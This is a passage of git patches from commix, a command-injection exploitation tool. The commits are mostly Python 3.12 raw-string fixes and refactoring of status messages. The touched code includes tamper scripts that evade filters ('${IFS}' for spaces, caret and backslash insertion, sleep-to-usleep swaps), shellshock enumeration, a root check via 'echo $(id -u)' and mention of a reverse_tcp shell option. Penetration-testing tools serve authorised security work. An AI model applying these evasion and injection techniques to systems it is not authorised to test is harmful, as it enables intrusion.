settings.OS.WINDOWS: if "microsoft-iis" in settings.SERVER_BANNER.lower(): - settings.TMP_PATH = "C:\\Windows\TEMP\\" + settings.TMP_PATH = r"C:\\Windows\TEMP\\" else: settings.TMP_PATH = "%temp%\\" else: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 2a0703239f..f2245d56f7 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -327,7 +327,7 @@ def do_check(request): except _urllib.error.HTTPError as e: try: authline = e.headers.get('www-authenticate', '') - authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() + authobj = re.match(r'''(\w*)\s+realm=(.*),''',authline).groups() realm = authobj[1].split(',')[0].replace("\"", "") user_pass_pair = menu.options.auth_cred.split(":") username = user_pass_pair[0] diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 45e3b4636b..697ac3d95a 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -183,7 +183,7 @@ def vuln_GET_param(url): value = ''.join(value) vuln_parameter = re.sub(r"/(.*)/", "", value) - elif re.search(r"" + settings.PARAMETER_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, url) or \ + elif re.search(r"" + settings.PARAMETER_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, url) or \ re.search(r"\?(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , url): pairs = url.split("?")[1].split(settings.PARAMETER_DELIMITER) for param in range(0,len(pairs)): @@ -479,7 +479,7 @@ def vuln_POST_param(parameter, url): # Regular POST data format. else: - if re.search(r"" + settings.PARAMETER_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \ + if re.search(r"" + settings.PARAMETER_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , parameter): pairs = parameter.split(settings.PARAMETER_DELIMITER) for param in range(0,len(pairs)): @@ -645,7 +645,7 @@ def multi_params_get_value(parameter): """ def specify_cookie_parameter(cookie): # Specify the vulnerable cookie parameter - if re.search(r"" + settings.COOKIE_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ + if re.search(r"" + settings.COOKIE_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie): pairs = cookie.split(settings.COOKIE_DELIMITER) for param in range(0,len(pairs)): diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index f1a902c217..ac04798732 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -117,7 +117,7 @@ def estimate_response_time(url, timesec, http_request_method): auth_type = auth_line.split()[0] # Checking for the realm attribute. try: - auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups() + auth_obj = re.match(r'''(\w*)\s+realm=(.*)''', auth_line).groups() realm = auth_obj[1].split(',')[0].replace("\"", "") except: realm = False diff --git a/src/thirdparty/colorama/ansitowin32.py b/src/thirdparty/colorama/ansitowin32.py index 2c9cea763c..d0ef04efee 100644 --- a/src/thirdparty/colorama/ansitowin32.py +++ b/src/thirdparty/colorama/ansitowin32.py @@ -46,8 +46,8 @@ class AnsiToWin32(object): sequences from the text, and if outputting to a tty, will convert them into win32 function calls. ''' - ANSI_CSI_RE = re.compile('\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer - ANSI_OSC_RE = re.compile('\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command + ANSI_CSI_RE = re.compile(r'\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer + ANSI_OSC_RE = re.compile(r'\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command def __init__(self, wrapped, convert=None, strip=None, autoreset=False): # The wrapped stream (normally sys.stdout or sys.stderr) diff --git a/src/utils/common.py b/src/utils/common.py index 673e3ec8b7..2e7803fd12 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -231,7 +231,7 @@ def create_github_issue(err_msg, exc_msg): """ def mask_sensitive_data(err_msg): for item in settings.SENSITIVE_OPTIONS: - match = re.search(r"(?i)commix.+("+str(item)+")(\s+|=)([^-]+)", err_msg) + match = re.search(r"(?i)commix.+(" + str(item) + r")(\s+|=)([^-]+)", err_msg) if match: err_msg = err_msg.replace(match.group(3), '*' * len(match.group(3)) + settings.SINGLE_WHITESPACE) @@ -346,7 +346,7 @@ def unhandled_exception(): err_msg += "Operating system: " + os.name + "\n" err_msg += "Command line: " + re.sub(r".+?\bcommix\.py\b", "commix.py", " ".join(sys.argv)) + "\n" err_msg = mask_sensitive_data(err_msg) - exc_msg = re.sub(r'".+?[/\\](\w+\.py)', "\"\g<1>", exc_msg) + exc_msg = re.sub(r'".+?[/\\](\w+\.py)', r"\"\g<1>", exc_msg) print(settings.print_critical_msg(err_msg + "\n" + exc_msg.rstrip())) create_github_issue(err_msg, exc_msg[:]) diff --git a/src/utils/menu.py b/src/utils/menu.py index 679a0a636a..d1e3c7f295 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -30,11 +30,11 @@ The commix's banner. """ def banner(): - print(""" __ + print(r""" __ ___ ___ ___ ___ ___ ___ /\_\ __ _ - /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + """ -/\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\\/> Date: Mon, 27 May 2024 08:44:24 +0300 Subject: [PATCH 451/560] Fixing some (more) Python 3.12 naggings --- src/core/modules/shellshock/shellshock.py | 2 +- src/core/tamper/backslashes.py | 2 +- src/core/tamper/caret.py | 6 +++--- src/core/tamper/sleep2timeout.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/utils/settings.py | 2 +- 7 files changed, 9 insertions(+), 9 deletions(-) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 652ad70ff1..4fdaabaf57 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -91,7 +91,7 @@ def enumeration(url, cve, check_header, filename): if menu.options.is_root: checks.print_enumenation().check_privs_msg() - cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT) + cmd = re.findall(r"" + r"\$(.*)", settings.IS_ROOT) cmd = ''.join(cmd) cmd = checks.remove_parenthesis(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 44d3854e5f..753ed59ba8 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -19,7 +19,7 @@ from src.utils import settings """ -About: Adds back slashes (\) between the characters of the generated payloads. +About: Adds back slashes ("\") between the characters of the generated payloads. Notes: This tamper script works against Unix-like target(s). """ diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index c5421493b1..cc965b166b 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -31,10 +31,10 @@ def tamper(payload): def add_caret_symbol(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - if re.compile("\w+").findall(payload): + if re.compile(r"\w+").findall(payload): long_string = "" - if len(max(re.compile("\w+").findall(payload), key=lambda word: len(word))) >= 5000: - long_string = max(re.compile("\w+").findall(payload), key=lambda word: len(word)) + if len(max(re.compile(r"\w+").findall(payload), key=lambda word: len(word))) >= 5000: + long_string = max(re.compile(r"\w+").findall(payload), key=lambda word: len(word)) rep = { "^^": "^", '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 3d7723b988..afbdffc64d 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -35,7 +35,7 @@ def tamper(payload): def sleep_to_timeout_ping(payload): settings.TAMPER_SCRIPTS[__tamper__] = True if settings.TARGET_OS != settings.OS.WINDOWS: - for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload): + for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + r"([1-9]\d+|[0-9])", payload): payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE,settings.WHITESPACES[0])) payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0") else: diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 17cad0a93b..e209b5035f 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -33,7 +33,7 @@ def tamper(payload): def sleep_to_usleep(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload): + for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + r"([1-9]\d+|[0-9])", payload): sleep_to_usleep = "u" + match.group(0).split(settings.WHITESPACES[0])[0] if match.group(0).split(settings.WHITESPACES[0])[1] != "0": usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] + "0" * 6 diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index c87e75e076..fd61c22fcf 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -28,7 +28,7 @@ def tamper(payload): if space2ifs in settings.WHITESPACES[0] and \ settings.EVAL_BASED_STATE != False: - settings.WHITESPACES[0] = "\${IFS}" + settings.WHITESPACES[0] = r"\${IFS}" if settings.TARGET_OS != settings.OS.WINDOWS: settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": diff --git a/src/utils/settings.py b/src/utils/settings.py index 6195207272..1d9d76b6ba 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "54" +REVISION = "55" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7af64619fc7fe6cdde2214c0e49f69596082ece9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 28 May 2024 07:17:26 +0300 Subject: [PATCH 452/560] Minor update --- .../injections/blind/techniques/time_based/tb_enumeration.py | 2 +- src/core/injections/controller/controller.py | 1 + .../results_based/techniques/classic/cb_enumeration.py | 2 +- .../results_based/techniques/eval_based/eb_enumeration.py | 2 +- .../semiblind/techniques/file_based/fb_enumeration.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_enumeration.py | 2 +- src/utils/settings.py | 4 ++-- 7 files changed, 8 insertions(+), 7 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 79c8795713..d2334dea29 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -127,7 +127,7 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese checks.print_current_user(cu_account, filename, _) """ -Check if the current user has excessive privileges. +Check if the Current user is privileged. """ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 7d101666e6..3743de54bb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -244,6 +244,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m if (len(menu.options.tech) == 0 or "f" in menu.options.tech): if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: settings.FILE_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True + checks.skip_testing(filename, url) else: settings.FILE_BASED_STATE = False if settings.FILE_BASED_STATE == None: diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index dcf9a71d09..6065f91873 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -159,7 +159,7 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method checks.print_current_user(cu_account, filename, _) """ -Check if the current user has excessive privileges. +Check if the Current user is privileged. """ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 580951ba3b..9a6d91e337 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -162,7 +162,7 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method checks.print_current_user(cu_account, filename, _) """ -Check if the current user has excessive privileges. +Check if the Current user is privileged. """ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 90efbed176..2a1b5745a8 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -141,7 +141,7 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h """ -Check if the current user has excessive privileges. +Check if the Current user is privileged. """ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index ad5ec1d5d5..bd9130c6e4 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -129,7 +129,7 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese """ -Check if the current user has excessive privileges. +Check if the Current user is privileged. """ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False diff --git a/src/utils/settings.py b/src/utils/settings.py index 1d9d76b6ba..ff04c8230d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "55" +REVISION = "56" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -573,7 +573,7 @@ class OS(object): HOSTNAME = "hostname" WIN_HOSTNAME = "echo %COMPUTERNAME%" -# Check if current user has excessive privileges +# Check if Current user is privileged # Unix-like: root IS_ROOT = "echo $(id -u)" # Windows: admin From 076e73b8f459d7ea300c4427674b926f49af4031 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 29 May 2024 07:56:28 +0300 Subject: [PATCH 453/560] Minor code refactoring --- .../blind/techniques/time_based/tb_handler.py | 56 +++++----------- src/core/injections/controller/checks.py | 66 +++++++++++++++++++ src/core/injections/controller/controller.py | 45 ++++++------- .../techniques/classic/cb_handler.py | 32 ++------- .../techniques/eval_based/eb_handler.py | 38 +++-------- .../techniques/file_based/fb_handler.py | 24 +++---- .../techniques/tempfile_based/tfb_handler.py | 50 +++++--------- src/utils/session_handler.py | 14 +--- src/utils/settings.py | 18 ++++- 9 files changed, 163 insertions(+), 180 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 5388687dd9..1c48da187a 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -56,19 +56,16 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r export_injection_info = False how_long = 0 - if settings.VERBOSITY_LEVEL != 0: - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_info_msg(info_msg)) + checks.testing_technique_title(injection_type, technique) + + # Check if defined "--url-reload" option. + if menu.options.url_reload == True: + checks.reload_url_msg(technique) # Check if defined "--maxlen" option. if menu.options.maxlen: settings.MAXLEN = maxlen = menu.options.maxlen - # Check if defined "--url-reload" option. - if menu.options.url_reload == True: - warn_msg = "The '--url-reload' option is not available in " + technique + "." - print(settings.print_warning_msg(warn_msg)) - #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) @@ -90,16 +87,13 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.error_loading_session_file() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) + cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) + checks.testing_technique_title(injection_type, technique) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 @@ -230,9 +224,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) # Check if false positive fixation is True. if false_positive_fixation: @@ -273,25 +265,16 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r percent = "" else: break + # False positive else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) continue else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) continue - # if settings.VERBOSITY_LEVEL == 0: - # info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - # sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - # sys.stdout.flush() except (KeyboardInterrupt, SystemExit): print(settings.SINGLE_WHITESPACE) @@ -311,9 +294,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + checks.injection_process(injection_type, technique, percent) else: percent = "" else: @@ -470,9 +451,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r checks.no_readline_module() while True: if false_positive_warning: - warn_msg = "Due to unexpected time delays, it is highly " - warn_msg += "recommended to enable the 'reverse_tcp' option.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + checks.time_delay_recommendation() false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() @@ -541,8 +520,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): # Check if attack is based on time delays. if not settings.TIME_RELATIVE_ATTACK : - warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + checks.time_relative_attaks_msg() settings.TIME_RELATIVE_ATTACK = True if url_time_response >= settings.SLOW_TARGET_RESPONSE: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 33a42411b0..ca5b915a75 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -61,6 +61,8 @@ def exit(): print(settings.execution("Ending")) os._exit(0) + + """ Detection of WAF/IPS protection. """ @@ -391,6 +393,38 @@ def save_cmd_history(): warn_msg = "There was a problem writing the history file '" + cli_history + "'." print(settings.print_warning_msg(warn_msg)) +""" +Testing technique (title) +""" +def testing_technique_title(injection_type, technique): + if settings.VERBOSITY_LEVEL != 0: + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " + print(settings.print_info_msg(info_msg)) + +""" +Injection process (percent) +""" +def injection_process(injection_type, technique, percent): + if settings.VERBOSITY_LEVEL == 0: + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.flush() + +""" +Percentage calculation +""" +def result_based_injection_percentage_calculation(float_percent, no_result, shell): + if float(float_percent) >= 99.9 or str(float_percent) == "100.0": + if no_result == True: + percent = settings.FAIL_STATUS + else: + percent = ".. (" + str(float_percent) + "%)" + elif len(shell) != 0: + percent = settings.info_msg + else: + percent = ".. (" + str(float_percent) + "%)" + return percent + """ Load commands from history. """ @@ -1125,6 +1159,38 @@ def http_auth_err_msg(): print(settings.print_critical_msg(err_msg)) raise SystemExit() +""" +Error while accessing session file +""" +def error_loading_session_file(): + err_msg = "An error occurred while accessing session file ('" + err_msg += settings.SESSION_FILE + "'). " + err_msg += "Use the '--flush-session' option." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + +""" +Message regarding unexpected time delays +""" +def time_delay_recommendation(): + warn_msg = "Due to unexpected time delays, it is highly " + warn_msg += "recommended to enable the 'reverse_tcp' option.\n" + sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + +""" +Message regarding time relative attcks +""" +def time_relative_attaks_msg(): + warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." + print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + +""" +Check if defined "--url-reload" option. +""" +def reload_url_msg(technique): + warn_msg = "On " + technique + "technique, the '--url-reload' option is not available." + print(settings.print_warning_msg(warn_msg)) + """ Decision if the user-defined HTTP authenticatiob type, is different than the one identified by heuristics. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 3743de54bb..01a8d7162e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -53,7 +53,7 @@ def basic_level_checks(): def check_for_stored_sessions(url, http_request_method): if not menu.options.ignore_session: if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: - if not menu.options.tech: + if session_handler.applied_techniques(url, http_request_method): settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES if session_handler.check_stored_parameter(url, http_request_method): @@ -135,6 +135,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, info_msg = "Heuristic (basic) tests shows that " info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')." print(settings.print_bold_info_msg(info_msg)) + settings.SKIP_CODE_INJECTIONS = True break settings.CLASSIC_STATE = False @@ -149,8 +150,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, """ def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): check_parameter = check_parameter.lstrip().rstrip() - injection_type = "results-based dynamic code evaluation" - technique = "dynamic code evaluation technique" + injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE + technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" settings.EVAL_BASED_STATE = True try: @@ -185,8 +186,8 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t Check if it's exploitable via classic command injection technique. """ def classic_command_injection_technique(url, timesec, filename, http_request_method): - injection_type = "results-based OS command injection" - technique = "classic command injection technique" + injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CI + technique = settings.INJECTION_TECHNIQUE.CLASSIC settings.CLASSIC_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "c" in menu.options.tech): @@ -195,33 +196,33 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met checks.skip_testing(filename, url) else: settings.CLASSIC_STATE = False - if settings.CLASSIC_STATE == None: + if settings.CLASSIC_STATE == None or settings.SKIP_COMMAND_INJECTIONS: checks.skipping_technique(technique, injection_type, settings.CLASSIC_STATE) """ Check if it's exploitable via dynamic code evaluation technique. """ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): - injection_type = "results-based dynamic code evaluation" - technique = "dynamic code evaluation technique" + injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE + technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE settings.EVAL_BASED_STATE = None if not settings.SKIP_CODE_INJECTIONS: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech) or settings.SKIP_COMMAND_INJECTIONS: + if (len(menu.options.tech) == 0 or "e" in menu.options.tech): if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: settings.EVAL_BASED_STATE = True if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: checks.skip_testing(filename, url) else: settings.EVAL_BASED_STATE = False - if settings.EVAL_BASED_STATE == None: + if settings.EVAL_BASED_STATE == None or not settings.SKIP_CODE_INJECTIONS: checks.skipping_technique(technique, injection_type, settings.EVAL_BASED_STATE) """ Check if it's exploitable via time-based command injection technique. """ def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): - injection_type = "blind OS command injection" - technique = "time-based command injection technique" + injection_type = settings.INJECTION_TYPE.BLIND + technique = settings.INJECTION_TECHNIQUE.TIME_BASED settings.TIME_BASED_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "t" in menu.options.tech): @@ -230,15 +231,15 @@ def timebased_command_injection_technique(url, timesec, filename, http_request_m checks.skip_testing(filename, url) else: settings.TIME_BASED_STATE = False - if settings.TIME_BASED_STATE == None: + if settings.TIME_BASED_STATE == None or settings.SKIP_COMMAND_INJECTIONS: checks.skipping_technique(technique, injection_type, settings.TIME_BASED_STATE) """ Check if it's exploitable via file-based command injection technique. """ def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): - injection_type = "semi-blind command injection" - technique = "file-based command injection technique" + injection_type = settings.INJECTION_TYPE.SEMI_BLIND + technique = settings.INJECTION_TECHNIQUE.FILE_BASED settings.FILE_BASED_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "f" in menu.options.tech): @@ -247,7 +248,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m checks.skip_testing(filename, url) else: settings.FILE_BASED_STATE = False - if settings.FILE_BASED_STATE == None: + if settings.FILE_BASED_STATE == None or settings.SKIP_COMMAND_INJECTIONS: checks.skipping_technique(technique, injection_type, settings.FILE_BASED_STATE) """ @@ -358,14 +359,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if checks.procced_with_file_based_technique(): menu.options.tech = "f" - if settings.SKIP_COMMAND_INJECTIONS: - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - else: - classic_command_injection_technique(url, timesec, filename, http_request_method) - if not settings.IDENTIFIED_COMMAND_INJECTION: - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) - filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + classic_command_injection_technique(url, timesec, filename, http_request_method) + dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) + timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) # All injection techniques seems to be failed! if checks.injection_techniques_status() == False: diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index f20a5e13fc..e55471d6bc 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -51,6 +51,7 @@ The "classic" injection technique handler. """ def cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): + shell = False counter = 1 vp_flag = True @@ -58,12 +59,7 